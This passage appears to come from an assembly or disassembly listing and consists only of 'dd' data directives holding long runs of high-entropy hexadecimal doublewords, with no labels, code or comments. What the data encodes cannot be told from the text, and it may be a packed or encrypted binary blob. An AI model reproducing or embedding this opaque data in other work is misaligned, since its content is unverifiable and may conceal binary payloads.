0D08F1175h, 0F5B75243h, 3E967716h dd 4252750h, 0EA66D5F4h, 0C029FAD8h, 98355155h, 1E82E5F4h dd 0AD1C7CDEh, 657FADE4h, 6E111E44h, 3E2C0EC8h, 0C8EF4157h dd 474AFB0Ah, 0E1E17EAFh, 3526B31Eh, 0DB9DFDD3h, 0F346F59Bh dd 0E5025EBFh, 0E94DD3D5h, 0AA02FAEAh, 77466AAAh, 0C6FED1AEh dd 0CB541B0Fh, 1F3C95C2h, 9D11EC5Ch, 838579CBh, 9B7633C9h dd 0A075CFC8h, 0BA354C43h, 720ABF4Ah, 5CEFE953h, 0D2D41C61h dd 0A3423541h, 8B8798D8h, 84790DE6h, 0C7D7F5Dh, 0E7163157h dd 2A10C156h, 0C39D824Ah, 29E14E2Fh, 79F7EBE6h, 46AD36F9h dd 0DF5CB577h, 1356045Bh, 0F7C85D5Eh, 699658CFh, 2479ECE7h dd 0EF0D599Bh, 485C0D86h, 72484702h, 5D4C3CDDh, 0B206B676h dd 0AD15280Eh, 4067971Eh, 257E2CEEh, 29C5739Dh, 0BB115D67h dd 0E2A61A7Fh, 0F05E15F0h, 0DE1D4F2Ah, 0ABB54AFh, 0CB843E82h dd 2CCD18Ch, 93620DFAh, 3D75D258h, 65FC4E3Dh, 53DA13BDh dd 0E3BD2EADh, 747D16Ah, 0A5B94D4Bh, 6B7A86EEh, 8106C24h dd 9FFEAE8Eh dd 2AF67EE2h, 820FFD7Fh, 83108F5Eh, 4FC2C156h, 56994E39h dd 4F681D4Dh, 0A248D999h, 456BE169h, 35320B6Ch, 0A5F06CB3h dd 72FAA2E4h, 4E2CA9E6h, 0F694A9E8h, 2AD05AD1h, 0ECB74BADh dd 0B8586215h, 0CC834959h, 84E7373Ch, 0A48B5048h, 25F3BEA8h dd 4EFED278h, 92793DEDh, 0F9C8D1EFh, 0E33B1545h, 0CEB797ECh dd 0FE60C05Dh, 0C3DD70E3h, 78E8D2A9h, 0AF93D4CFh, 2DC36244h dd 0E9577B8Bh, 0F567BA38h, 1D10DA41h, 0ABCA4767h, 810535B2h dd 701280C0h, 0AD98808Ah, 1C79A02Eh, 0A84562ACh, 8C4841Bh dd 22A15D2h, 4E220FC6h, 12A1E902h, 0B84C9F50h, 8C7932E3h dd 0E70938F8h, 94E8809Eh, 1DE88C11h, 0D6061301h, 42180A2Fh dd 53E0C2Fh, 0F30808F4h, 9A95121h, 0EE141518h, 40D8404Fh dd 30A70532h, 0C1828F9Ah, 47948202h, 308340C7h, 9A11606Fh dd 8CC05180h, 0AB428D27h, 81045468h, 59819A81h, 8F1FA001h dd 551B1C45h, 28F82870h, 422AA1EAh, 75205FE6h, 27B3233h dd 77465046h, 8C148D00h, 0A701CE2Eh, 82E95384h, 27B8F163h dd 0F4810E60h, 0C67AD405h, 83462990h, 8C387A30h, 26A39A3Ah dd 461CF469h, 8D187135h, 658668C1h, 35450A8h, 0CC2C9F31h dd 0F0A32A9Bh, 0E784745Dh, 7252A0Ah, 82CA36E3h, 92A15F61h dd 0D828EA64h, 7F0781ECh, 79D9F11Ch, 0F848DF03h, 0DE4C7E21h dd 3C6F6CDh, 0EC9A3553h, 0BEB7D0D9h, 0CAD50B44h, 0EA734EF6h dd 5DCA08D4h, 0DF50FC3h, 0FF9ABD89h, 505CE2BEh, 88685718h dd 558B5EFCh, 0E397554Ch, 0FB7E22ABh, 0DA962B4Bh, 305767DBh dd 0AB3F957Fh, 728633DAh, 2C5F09A8h, 5D22A12Eh, 63D33755h dd 70FE45A2h, 0AEF9946h, 4097AC0Fh, 0EE9889EDh, 5F5218Dh dd 0C09D04C7h, 0FC5304C9h, 0E40DE07Dh, 0C3F0D557h, 4C102396h dd 0CC0F72E7h, 4CEFFA43h, 0FDBCBA91h, 309664CBh, 9C9A9A6Ch dd 76E571BBh, 0F0AD2675h, 0C10E3472h, 7A3BA52h, 108F103Fh dd 3FAB8750h, 0D07F867Bh, 47A62FF7h, 0A169FB9Ch, 0B767E5EBh dd 0F7E80ADAh, 3ADB8768h, 0D95CA83Bh, 827E22CDh, 0A78A3573h dd 81AE0868h, 24BA97C2h, 355EE4FAh, 33A2A119h, 448EA87Eh dd 4268ABDBh, 0FD53F999h, 0A9763F19h, 0DCF2A351h, 9CEA746Dh dd 19C3D14Ah, 26E72262h, 214CD8F9h, 9067108Ah, 0DF99298Ch dd 0F25B5770h, 7BBA95E6h, 3D9CF672h, 0DBABA84Eh, 0A95A7CF3h dd 0B5139D2Ch, 0AD770A59h, 0C8BD3AD4h, 0FD486529h, 2E79F0BDh dd 0D45F4DB4h, 3910B157h, 0C68C8CF0h, 0CF81FC3Ch, 0D7AAB01h dd 0B9119C76h, 0B42D8DBh, 1D02CC7Ch, 317938FEh, 0AD1EBFD3h dd 0A46E7764h, 5F4E32ECh, 378EA679h, 0A0AFB00Eh, 0D9D1EDA2h dd 37FC3F4h, 0C5A355C9h, 60BA576Ch, 3A3BA6E2h, 167C56Dh dd 4A33A9E3h, 95A176Fh, 0E1C8326Eh, 1EC288A5h, 0C780EC74h dd 1301FC18h, 0D926A56Fh, 3E8C7653h, 0B4C9D9B5h, 6E6097AFh dd 0FD811482h, 0A934F1EDh, 62EDD54Dh, 6E0A41D7h, 9CE5FBEFh dd 0DFBE2h, 9FF0C026h, 11EE5111h, 0FB7FC53h, 5EC87F65h dd 56621E75h, 47798EF1h, 95C98A1h, 0EC252CECh, 2286FC04h dd 0D0B29302h, 1A4F8FB1h, 0C885F45Ah, 0BE478E39h, 0A7689FF8h dd 5A468D6Ah, 9908960h, 0B9B86F8Ch, 9F7CC31Ah, 2C990C53h dd 0C3CD05B7h, 2040C0D4h, 0C1F3727Ah, 11C85A75h, 0C5992E34h dd 13252B32h, 8BCDC96h, 5A70321Dh, 5C3BCD05h, 64273312h dd 0DC8FB587h, 0B9FE1595h, 55B8AF96h, 2B191B4h, 2EA752E4h dd 0CCBEE856h, 5FD73C7Ah, 0DBFD21D9h, 8178B15Eh, 0FDCA3E07h dd 692194E6h, 0DEDBD0E3h, 0D17662DFh, 0D9005ACh, 0AE71AB8Dh dd 0D13D247Ch, 0D66774F5h, 22723315h, 50FCDAE5h, 92E6FEA9h dd 0F8596EE2h, 2DBE6F13h, 9D7D4F1Dh, 0AAFFAD33h, 8251D546h dd 0AC9579FBh, 9E5C3860h, 9F8DC452h, 1492B0ABh, 3A3DC2BAh dd 57FEBBF5h, 5AACBD95h, 0F96A9728h, 0D9BDB44Fh, 0DF3DF0E8h dd 4E70A955h, 6AE2C291h, 0E91A6A6Fh, 6787D5D0h, 0C06AAF33h dd 1621E8AFh, 87D543D9h, 73EE3331h, 0C0309B55h, 0B1754335h dd 65A3AAAAh, 0A3F3B52h, 16454B71h, 655CDDABh, 1BF4F3CFh dd 8529381Ah, 280B2811h, 13FDBD46h, 32DCEF65h, 727CC9FAh dd 85194366h, 54FBDAACh, 0A0F6DBAFh, 0F41C2ED5h, 56DDB83Dh dd 5E25270Bh, 0BDED50B2h, 8A2764A6h, 14921700h, 1242F563h dd 0A2622EDBh, 1D8CEE8Fh, 0B9768C46h, 9D66FAF9h, 3FF2A7BBh dd 2D9AA889h, 0CCBBBABDh, 92FCBB91h, 0E2F4C6C2h, 6C7A5036h dd 55BA2289h, 0C07BEB6Eh, 0C1B6B50Fh, 7786A34Ch, 0A4293C8Dh dd 2E660F5Bh, 5078939h, 419B0AFFh, 17ECBC47h, 71B63C7h dd 99C85315h, 4D0B1DBFh, 0C7E96D17h, 0EB6269h, 0D86AA90h dd 58FD63E9h, 0F8FF6078h, 2F622CAAh, 6D29D07Eh, 56B003BAh dd 0C95B0DE0h, 92E3E28h, 0FB814B8Dh, 8B63B86Ch, 7277314Bh dd 3387F34Eh, 7F5CDD90h, 0B9EC6FB7h, 0AE9ACE73h, 4376FB89h dd 8CCB30CCh, 48F3F26Bh, 49565A69h, 0A6ABD21Dh, 55294167h dd 0ED1DBD40h, 0EDBF76F9h, 55F587Ch, 0B45C5B13h, 0E1A6C14Ch dd 0FC3E56Dh, 0BD6597F3h, 0BAF7FF08h, 30FCB2ADh, 866E96CCh dd 88357E20h, 919AED6Bh, 0D7C0FB86h, 6D54A5BDh, 0CC5FF86Dh dd 856D8644h, 0A0B102B8h, 79AE43DEh, 91A3227Eh, 53B451B7h dd 791C5209h, 40E155FEh, 0A44598B1h, 9EA3F839h, 7D13FBD7h dd 488FEE76h, 0E119F5F6h, 84D73554h, 0D6DB5DA7h, 0D03CAF6Eh dd 17AD4AABh, 0FEF3A9F2h, 926CF5B9h, 0CE6949A3h, 59CB5F03h dd 0DE2A04B7h, 500DF1AFh, 5D892621h, 58676E17h, 571FC3A1h dd 45A15D9Ah, 31731CEBh, 6AFC549Bh, 0F3D1DC3h, 0A36D0728h dd 0D417AEADh, 8F7A6EE2h, 8BFC1A23h, 9F068873h, 40D7239Eh dd 74B0031Dh, 0EA284979h, 0B6D84884h, 0D6FD4EB4h, 0B67E9CBh dd 0ADFFABCCh, 47736B8Eh, 0CBAB3428h, 0E43F506Ah, 0B2384372h dd 514565BBh, 0AB866AAAh, 65C2A3CAh, 0A773EA76h, 0F4706060h dd 7CBA793Dh, 45B2771Ah, 0AA49154Dh, 0A9909ACFh, 28EBA516h dd 47173EE9h, 0B97CC9AAh, 26CCB676h, 0B3939B08h, 0C497A837h dd 0B899C1E5h, 57F071BBh, 3E17237Eh, 7391D52Ah, 0D14EBCDAh dd 99365570h, 5CDD5CDDh, 16F2C7B3h, 0F8883560h, 0ADCE42A1h dd 0E632A3C3h, 0CA1CAA75h, 4119F642h, 55BB38D5h, 39E064h dd 0CD846452h, 8E535667h, 6132F1EEh, 70AA3FE0h, 15AD9544h dd 0D62DE9D1h, 0BCC7FE88h, 47B75842h, 0C83AD9DAh, 0D5224155h dd 0A364BFCAh, 258D9B4Dh, 5F628CBCh, 0D6072F27h, 0DA8B17BBh dd 2F7974F9h, 62FA7D99h, 2ED1748Bh, 0EFC40327h, 61C270D0h dd 961BE3DFh, 7FCB5014h, 0C719749h, 92D95948h, 2E057471h dd 0D18DC375h, 0EC294FB7h, 3EDAEB1Dh, 3E8F258Eh, 758C425Eh dd 11304017h, 0AD33E233h, 0C501EE62h, 0E8F1B983h, 5D0F9A9Ch dd 26CC4E1h, 74247157h, 86A93BBBh, 0F6868E64h, 0B032DC2Fh dd 24736DA6h, 63D5FFE8h, 393C2578h, 62E23007h, 0D93B7CCEh dd 0B1AE5FF3h, 0D1ACC17Eh, 22C7C516h, 930A2D3Dh, 0B1FE00FFh dd 0BFDC71EAh, 0B3E05658h, 2353ECCAh, 0AD0476F8h, 0BC8FFED2h dd 65719C3Dh, 0E91E84BDh, 33687E2Bh, 6816A46Bh, 0EB219B74h dd 9B087AC3h, 6B5DB4EEh, 6EEAD937h, 58DC0D7Ch, 7D36AD60h dd 0B9033BFEh, 6B8D33B0h, 65E4A4FAh, 7591F53Ah, 0BF796E5h dd 0EC1AAAB9h, 8F117CFAh, 3A33B5F3h, 87AA9AA9h, 0FF18BB70h dd 0E1C45C4Dh, 4622F3FDh dd 9E9EBB44h, 69AA0CFEh, 845A3ED8h, 550123D8h, 0EBB3335Dh dd 46EF24DEh, 3015B81Fh, 7C0FCA7Ah, 5DE4B8BBh, 0F99182D3h dd 679940A2h, 0A7F39CA8h, 1475ECD6h, 24FE178Fh, 6D43ED81h dd 77A04B34h, 2B4CB4D0h, 10A37946h, 0AC8EECEAh, 5A3A217Ah dd 0CCF2B2B1h, 58E69A1Ah, 6F44B408h, 15762008h, 5C11D62Eh dd 7D7892Eh, 4E8E3C36h, 1D412A2Eh, 3CE8BE91h, 7830CDD7h dd 0D84C3163h, 682ACFF9h, 18CAC314h, 0D23FC83Dh, 0DCCF63E0h dd 0D6FE8BD9h, 0DB5DB99Eh, 607A6D2Ah, 148FDBF7h, 0E1D1D9BAh dd 4F786DF7h, 0EDC5E59Eh, 1A022E4h, 0A8562EBFh, 0DD2BF0F2h dd 0DD7F64BFh, 0E1AFE604h, 0E7C88383h, 5A301889h, 0A15B334Eh dd 0DBCC97E8h, 3F1B9781h, 0E69A6C7Ch, 54D38E56h, 0A954C975h dd 0DE29A9FCh, 0D0541771h, 77255BBBh, 3135EA23h, 2EAC4514h dd 0EFFC5FE1h, 32C45A2Dh, 0D2D7F2A7h, 60CCCF1h, 8C84879Fh dd 23C17305h, 47B4017Dh, 0B56D53B4h, 0CDE175CBh, 58CC8CF2h dd 81288B4Eh, 0B24A381Ah, 0C4852FFBh, 2A80730Eh, 9558E0D6h dd 9FE42E4Dh, 0DCCB0772h, 57BF555Bh, 72B8A4ADh, 7C4C885Eh dd 0DD116559h, 0B2B71CF1h, 0A230D871h, 0E8B61ABDh, 5E3F4FB3h dd 44D17DE2h, 907FD67Fh, 8CAB7977h, 1C1E76ABh, 1F8C70E3h dd 0D6882C4Eh, 0AA67A755h, 1F3C88FEh, 0D876217Bh, 744E57F2h dd 502260C8h, 0B6D211D9h, 5E57AF30h, 1F82D3Ch, 57D6DE05h dd 7383C22Eh, 7DEDEEC6h, 0CA62D7A1h, 0F7804E9Ch, 5E363ACFh dd 0BDB69E88h, 4FB50BBDh, 9D02BD9h, 74FE69D6h, 5855DF1Fh dd 98C58EE5h, 0FE1F787Bh, 0D557CE64h, 0F6AD86A5h, 7FA10D76h dd 0EF265BA5h, 5ACA0FC7h, 0B1DBE097h, 0D17C8475h, 0A38D6AAAh dd 95560F8Bh, 0B444ECD6h, 7B0A9D6Eh, 4BF9F73Bh, 7DFEF7DBh dd 0DBE3A2F6h, 9F66ACBFh, 0CDBC7D8Dh, 0C53950E2h, 66FE6BCDh dd 0A729AD01h, 0E0045FDAh, 0CCC8710Ah, 9EA2C5A4h, 0EE9F2036h dd 0B27040FEh, 0D47EFA70h, 9768F5B9h, 0B0710992h, 52FE6310h dd 9305EF1Dh, 4A261A1Eh, 33141D38h, 1ECD079Fh, 0B3BA122Bh dd 88DE2D92h, 1B4F4D77h, 0F05A5596h, 105F2C91h, 95A60C36h dd 0FD1662DDh, 959AECA8h, 4A927D5Ch, 548B8A4Ch, 0A467BCDFh dd 0E699A317h, 5FAD7686h, 0CE584AE9h, 34CC4EF8h, 607BD746h dd 778A3233h, 8BF4135Fh, 9AED0CEFh, 22D2ACB5h, 354ACD0Bh dd 86B6D26Fh, 2BC24B75h, 0A745121Dh, 0AD13E909h, 52E888F3h dd 0C0828C2Bh, 0F5AAD399h, 6CC59E29h, 2E9956E3h, 0AE159D39h dd 89B97918h, 5EFD15F8h, 52767DD9h, 0DA40541Eh, 2BCBCEFCh dd 61EEEE98h, 53CAB86Ch, 0B3D72568h, 7D85280h, 0C28FC542h dd 0AD5755D0h, 0B0958E6h, 3FD83774h, 747C4D82h, 6D72A0B1h dd 94220FF5h, 3053A10Eh, 0CAE996A8h, 3C97DE36h, 75F7DBB9h dd 1215AAACh, 0C39302F8h, 14E909CAh, 26365A28h, 3EC9D2EEh dd 0EF74371h, 0AA0CC7A4h, 0DFE518D2h, 0E8A0EAEEh, 0AAACA37Fh dd 4FB78577h, 0C28AE311h, 0F5BCA3D5h, 0D836DB21h, 0B9CFE2BCh dd 0AE98036h, 0BD13BCDDh, 77B188D6h, 0A2FAAA65h, 0C95F2F6Bh dd 4F6D878Bh, 53537909h, 2AB53F74h, 97FEEFB2h, 1BB065D8h dd 8ADBC76Eh, 472F5EDFh, 0A71EA6B3h, 0D5C28B56h, 7852AF7Bh dd 6FB4F83Eh, 7E8FD2FDh, 0DDD47BEBh, 23B91603h, 0A138AF4h dd 0A8345C0Fh, 76D01EC9h, 5DDED2C5h, 4796EF6Eh, 667497CEh dd 0DC1FA993h, 8B2D3470h, 6807ECAEh, 0AC2B9F7Ch, 0A31E78A0h dd 0DEABF932h, 546DB932h, 5C670A4Ah, 0FA951272h, 1876EACAh dd 29C789B4h, 0F3276A37h, 0BE4F8D9Ch, 214B6A92h, 0F06205D6h dd 8C3BDB17h, 2F4F7F33h, 7D2C3624h, 0D677A85Eh, 17218631h dd 0D831E5D6h, 201321A0h, 54096AAEh, 1223AA55h, 0F893746Fh dd 533F6867h, 0F7EBF41Fh, 0AC7E4041h, 0C1A7E1F8h, 6AAC1972h dd 369B9254h, 3EEE2CE6h, 2ECF0A0Bh, 133A8541h, 6EDDFF7h dd 1465CC66h, 3BFD4D61h, 0B7A05E91h, 4E66AFB0h, 0FBF1DB2Ah dd 7AEA27F0h, 93E4B574h, 23C0DEEDh, 63DD0546h, 0ECAD88FAh dd 428CFE3Bh, 2C0F2FA7h, 7A89DA97h, 3923DBC3h, 9312BE91h dd 5C29FAAAh, 9A4B7B94h, 0AB5AD5EDh, 3A4D13D0h, 0F4BE34D2h dd 0A5E4B95Bh, 7F356E85h, 51DAA160h, 0DB767B4Ch, 0C3EA32B8h dd 41EC50C8h, 333E09FDh, 5DBD2ED2h, 59770577h, 38503AE5h dd 7FB54571h, 0BB23C779h, 5CC04AF8h, 0DD3F813Dh, 0BF0DF8C9h dd 5BE7B64Fh, 149AFC51h, 2DAC6064h, 6288AB4Bh, 99C59B01h dd 77735656h, 0C6764B46h, 0F04E8787h, 575712BFh, 0DECCE78Ch dd 0BEDD2884h, 982FF03Ch, 0D22E166Fh, 0FC3DEB87h, 0F5A213C2h dd 4CED64AFh, 8EE17249h, 561CD9AAh, 0FC37495h, 0D0C5B83h dd 3756F5F5h, 52365EDDh, 485F6D2Dh, 0AB2A9C1Ah, 9AAB63B4h dd 0AAE4259Eh, 0A405860Ch, 44985F0Eh, 7B2F7F15h, 0BE85E459h dd 64250EE5h, 0D1572CADh, 92B9A261h, 0AD3A3054h, 6DA7304Bh dd 5E91CB5Bh, 0ED4E30B9h, 0D33F4759h, 0A76A9F0Dh, 3DB23EBh dd 8F3296B7h, 7CE1B6FBh, 0EB397464h, 7E2FC0BBh, 32DBBF28h dd 0A3B456E3h, 0A75A6DFDh, 0F865221h, 0D44A136Ch, 0A0EF13DCh dd 0FD2BF824h, 8CADCC78h, 4EDBB4FBh, 503F2D0Ch, 74869AAh dd 6F55A43Fh, 0F1DA5C42h, 0E71B4611h, 5F14AF6Eh, 5ACB3362h dd 0FAF0D2DBh, 5FD8D65Dh, 0A8CABF24h, 1B691498h, 0E0BC7C11h dd 0DA3E4887h, 0A93BD675h, 7E689496h, 4FC71604h, 96702DF7h dd 34460CACh, 0C49CAD26h, 4063C70Fh, 0D7E7A42Ch, 4F1CF21Ah dd 13FD5B65h, 165B699Eh, 0CA271D8Eh, 0E30FA3AEh, 0E4AF379Fh dd 0CB50C751h, 9DEE69Ch, 4ABEE2C3h, 257EE6Bh, 0C3F10EC6h dd 0A3BCF1E9h, 0BB03182Bh, 0EDDD3526h, 0E185DECFh, 0A4D11318h dd 0DB59F814h, 0E0FBF01Ah, 99588B92h, 22EEE32Dh, 1F80257Eh dd 960A7E8Eh, 512DE5CEh, 3DEA1484h, 0DA7810A9h, 0ED88D6A7h dd 730A37F9h, 0D54C4EF5h, 0ABA0ACD4h, 0B4700F6Eh, 9C78881Dh dd 413E5DCh, 8D4A386Fh, 79586BC0h, 6CFE609Dh, 0E0ED1855h dd 6B528DBFh, 0C65C02C9h, 2372918Dh, 74E58C9Ah, 0A6077FA8h dd 447F2F2Dh, 1499A919h, 2FCB48B1h, 7416E9D6h, 50F868C3h dd 0F8C0B253h, 20B3F718h, 0C64359E5h, 527A3E12h, 0A1185595h dd 0D9122D57h, 4D3CABC9h, 0B03BE653h, 1819A1Eh, 884A7CE3h dd 0B4758628h, 0F8B7B89h, 0C62769EDh, 0A1193505h, 961E5499h dd 5D738E69h, 7B3D2CCEh, 0E5A2FA1Ah, 1978CA14h, 86ABD982h dd 0BA9A25CBh, 0EDB73B88h, 0CBF06A2Ah, 23B095CCh, 0DAD80E5Ah dd 0B73F5087h, 2FA5786h, 4673D8A9h, 4AE43A8Ah, 4EF0453Eh dd 0E7A8F393h, 661FF868h, 0F5C58E74h, 43DC85C1h, 700E6A4Dh dd 0F786A447h, 932D4F65h, 79DB8C3h, 0ABD8942Bh, 496081F1h dd 4DD797DEh, 34EF5DFEh, 61B14891h, 931629A3h, 2026EE7Dh dd 20AAADC4h, 0E13718E4h, 0FBC07F7Ch, 4F235317h, 0D6E42D12h dd 3F863F6Dh, 0E291BBF2h, 14BBB50Bh, 0BCA555ADh, 7F4D26BFh dd 0E2C4F712h, 0A2AB2A7Dh, 5BBAF649h, 5E7EEC52h, 85F13D61h dd 0E541EFADh, 5AAF3B69h, 0DD22FF02h, 1BFEDB64h, 0AF9C913Eh dd 0FB9D25B2h, 36E612F7h, 0BD8EC855h, 0F1F2731Ch, 0C73E6299h dd 62173B93h, 0A5368066h, 7B905F2h, 4F8817FBh, 6DD88C3h dd 0D3252315h, 0C6C4A595h, 6280478Dh, 644D317Ch, 55253179h dd 4A55E731h, 0A17AF238h, 0A4AE315Fh, 46DB0E13h, 0E365760Bh dd 4E0C98C6h, 32BB9CDBh dd 726EFD90h, 0A263135Eh, 55177451h, 3B4E49CCh, 2CDEE6A9h dd 0B6B23662h, 35D4CD9Fh, 5666DCDEh, 0AF3E40Eh, 8830BE19h dd 0C9E67E2Ah, 6EDCEA39h, 2574774Eh, 47E949F0h, 0A0F565Dh dd 0F79C9C74h, 8B21BF22h, 0EFCAC2AAh, 97850595h, 0A0C39DE1h dd 85355BA1h, 0AE92EC99h, 97A3C2DEh, 0B36C6A5Ah, 7099F4BFh dd 3EB28ABBh, 2E5ABA99h, 8B578699h, 0FE37E1A8h, 77B5F51Ch dd 2AF951A7h, 2E0B74ABh, 659E3814h, 349F9E1h, 0DE0F5CDEh dd 1FAC607Fh, 5F439973h, 91F3F4D9h, 0C2FE03C8h, 0E6A8F5DAh dd 5C9084Fh, 0BE0EB863h, 24D8F48Ch, 6F8B18ECh, 6049DF3Ch dd 0F47C13F9h, 0C070E4E9h, 0CADF53E6h, 1A6CAD76h, 741E19FBh dd 7DB967C5h, 9878D949h, 1A83F573h, 6291DA9h, 3FDE8D57h dd 91CFC241h, 4089D553h, 1A05549Dh, 0CC79CE45h, 0EB79615Fh dd 0BF8DA445h, 3772CB44h, 267FFDE2h, 9947627Eh, 93A02EB2h dd 0C4442D1Ch, 0F48DE3D2h, 0EABEF96Eh, 0FCD74EA2h, 2E62C42h dd 50A75B49h, 31E58A40h, 98E131D7h, 0D2B59DACh, 0F86238ABh dd 0E266A9F6h, 0DF154E13h, 18DDC6A6h, 375D84EEh, 26700592h dd 0FB36D5E6h, 0EE55F02h, 0F355F459h, 0FF6C5BA1h, 0C8F5AD26h dd 82535471h, 7B9FD2C1h, 284B6B7h, 7576AE29h, 334B6D13h dd 90785713h, 0DD0469C8h, 8154513Dh, 9341518Ch, 0F1BF014Fh dd 149F4D66h, 2A99D661h, 1380ABC0h, 64FFD3h, 9927CC33h dd 0CD9C9F6Eh, 0EE6F91F7h, 76DEDDCBh, 4CA27216h, 45FE7397h dd 5D1EFF6Bh, 877C7C8Fh, 2CCB8C5Fh, 245285E3h, 29B9EDD2h dd 8CA51CCAh, 2593F77Fh, 0FBF0F97Fh, 0FBC76510h, 0B238BB56h dd 32791D6Bh, 0AAD9ABCEh, 5094DD59h, 359DF6A1h, 0CCFA3E4h dd 0A1BDC9A2h, 0D1779C0Fh, 9CCCAE2Dh, 0EAA4BFDCh, 0EBC0ED51h dd 0CEA263D1h, 0C20341B3h, 0C797164Dh, 433787BEh, 0FC6F839h dd 0F8062D5h, 0B6AB6B7Ah, 0AEB08B3Fh, 0AC1F65F0h, 8F4D00CEh dd 0B867168Bh, 0D49E8FA6h, 0E5B4C135h, 0A0AF93AFh, 321E5DAEh dd 8983BEFh, 113B683Ch, 57A9BC95h, 0EBC28B90h, 290534D0h dd 0A4B73EFDh, 2FF46E6Ah, 3AFB52BAh, 0E5D2CD6Eh, 0F777DC6Eh dd 4C67F0E0h, 64AFEC4Dh, 742C9D8Ch, 3CD3DD95h, 0A81FF30Bh dd 7B64B87Ah, 4FB439B5h, 0EFBC334Ah, 0A2DAB5DAh, 0DCA8D925h dd 0E76AE2D9h, 0CBB09156h, 74742690h, 78753C1Fh, 321FC5EDh dd 88696815h, 73288F2h, 0B5D97C7Eh, 3F2CA981h, 0EFF47858h dd 0D977736h, 85FDD041h, 0A6E34823h, 29AB1DE9h, 0FE8AF6D0h dd 0EE5FF9D7h, 99F099FDh, 3641EFC6h, 0BC00CA34h, 73A7F12Eh dd 52FA43D3h, 0BFDF2931h, 0B5F19704h, 75C9BD1h, 94086E1Ch dd 0B174A4A8h, 699C593Ch, 709169E4h, 0C6A939Dh, 0CEA97A9Eh dd 0C94A3CC8h, 3EB79CBCh, 0E81A3332h, 0E9BDFA0h, 79BF90FDh dd 0BB4183C6h, 238DBDF8h, 3EE2EA73h, 0ED120AD8h, 66F29B54h dd 0F513AF5Fh, 41BDBA8Ah, 966850A8h, 0D27DA2DEh, 3EC26DA2h dd 853E48D6h, 0D1B0C126h, 0F61FE7B7h, 996B2DC4h, 3A2173DBh dd 4B232173h, 1C6F4559h, 4ED8C28Dh, 0F9590AB1h, 66BD73Bh dd 88449BF1h, 57BDF9B6h, 75380F8Ah, 48D88F6Ah, 0AF197CB0h dd 642875A6h, 56D81709h, 8C938AE2h, 0DD661955h, 64FDB0A4h dd 3FD8DD0Eh, 46AEDEF0h, 83E8164Ah, 7B4774C7h, 7EE21055h dd 11C0E6E7h, 0FF0EBAC9h, 0D284D4C2h, 756C7F7Dh, 0CB462372h dd 4D5FD51Eh, 0BF395EC4h, 8EEB8BB2h, 6F27CFF1h, 9ECA2FE3h dd 0CFB6B933h, 0BCAB2A17h, 0F38FFE6Fh, 6C4097A4h, 935C7B78h dd 5B9F931Fh, 0D38749E7h, 686616B2h, 0BCAACAD0h, 0BA94EA96h dd 24982C36h, 662BAAB0h, 0BC321FBFh, 8D4A88C6h, 0B6FFD30Ah dd 0ED98D1C8h, 1A2109BDh, 0D3EF7B59h, 0A18F7F94h, 9C54EECDh dd 4C61AC60h, 0C7E42B17h, 0DAE5670Fh, 0DC9F6702h, 327BFC67h dd 0FCDAEE50h, 983D8FB1h, 0BA86F438h, 22B0A37Ah, 7D92A56h dd 52A8F3DCh, 0EDF31830h, 0FB160B36h, 1FBCA8C0h, 2C268CE1h dd 0D8DD697Dh, 419FFDC6h, 14463D00h, 835DC6F4h, 34FC885Ah dd 0B82D66BFh, 0B7807A28h, 0CAA81794h, 0A84FBE7Eh, 434ADA2h dd 645A1A0Ah, 0D226F2DAh, 0ABA342E9h, 0DB72FACh, 81F88D2Dh dd 67A7CF0Dh, 0A525CB27h, 33F8EA8Bh, 0B5FC9CDCh, 0E2F5B849h dd 0E04EA26Fh, 6897556Ch, 294E8081h, 9F9FD3DAh, 314F4C1Bh dd 0BC3540F6h, 66CC7736h, 777FAC96h, 89F5E023h, 0CCE18183h dd 60C85A38h, 0F8826496h, 4B55AD6Ah, 0C39B8C7Fh, 47117D98h dd 3CCC77ABh, 5E94BB37h, 70D73F03h, 0A138B117h, 53D972FCh dd 0B1A9DB45h, 0F83D6BF9h, 30A947E1h, 230A63BEh, 0E9326277h dd 2ADF28A8h, 56BB0FAh, 79FB28DAh, 6B82E4E0h, 0E2F8BD2Ch dd 37C6FCECh, 0F289ED67h, 0B2E9CB51h, 0D10E68B6h, 4F611C57h dd 0A8A7FFF8h, 3CA698Ah, 2F123713h, 0CE5EF56Ch, 0A95AD65Eh dd 0DC3F0F27h, 0B77733A8h, 0A17F8371h, 7237DECEh, 8F022212h dd 0C6B16BF2h, 11DFAB25h, 3DAF4D8h, 61AA0FBAh, 0EB015DE8h dd 5454E66Bh, 7797ADACh, 31B46CD3h, 372E343Eh, 728BCBD2h dd 32BCDC96h, 0B8630BF5h, 33805D5Fh, 0C1AEEFD1h, 0C0FE8179h dd 9CDB390Dh, 432D247Dh, 0BB109895h, 2D505681h, 9D137752h dd 3514E0FAh, 252D8A09h, 53F41886h, 0C2DC3057h, 5AD14FE7h dd 0AEA48845h, 0DA162977h, 8643DBF2h, 8B6B3FB1h, 0CEDA5A2Bh dd 18CDCA97h, 32658EB1h, 0F95FC3AFh, 0A58FA0F7h, 533C0854h dd 0DB850605h, 2BB06DDAh, 7196BA8Ch, 0E582828Bh, 0FD9A9383h dd 9AA743F0h, 920E3089h, 0C6145A3Ch, 0AA843E81h, 1911E0C9h dd 628CBF2h, 0AE8B3CF6h, 4C40A35h, 9D34204Ah, 8BFA01C0h dd 72756870h, 0D2493EFEh, 0C597A030h, 56BA2550h, 884EEE9Dh dd 0EFFE3C16h, 5559CD7Eh, 7CA665D2h, 0D49A0F95h, 0B7561BFDh dd 51123879h, 315D6EC9h, 0BDE6F8ABh, 52CF0AA5h, 0DFA0672Bh dd 8098396Ah, 82E15B97h, 0D22377A9h, 0BF40C4EDh, 90B72AF1h dd 0FB1EF38Ch, 74F96334h, 0F4C52129h, 7723FF9Eh, 0B440BA67h dd 8B63B752h, 3C68754Ah, 0F6D940F8h, 292F3B76h, 53D4F943h dd 7B2CC0EBh, 0B92DCAE7h, 0D85B6562h, 9F351A09h, 0EA7B7FB9h dd 0A2FC6BB0h, 42DB28F2h, 0EEB3EBD4h, 3D12372Fh, 2EF3463Ch dd 7FC3FC6Ch, 0FAAB4B92h, 3DA52715h, 5FC5BE51h, 0E52FC2D6h dd 154E44B3h, 88BB6D06h, 48C2E707h, 0A82F7BF7h, 762637E3h dd 98AACA69h, 379DD5CFh, 0AD1F83Eh, 7B4C5D98h, 41FD42F5h dd 0C97EBA2Ch, 0D335FDE0h, 85563E3Eh, 4C51C333h, 5B3B99DDh dd 6CEEB99Fh, 835F9950h, 0D2C342C2h, 908C796Ah, 27462BA2h dd 72CDA427h, 43F0C508h, 7C430DF3h, 2E6359D5h, 0B2C94F87h dd 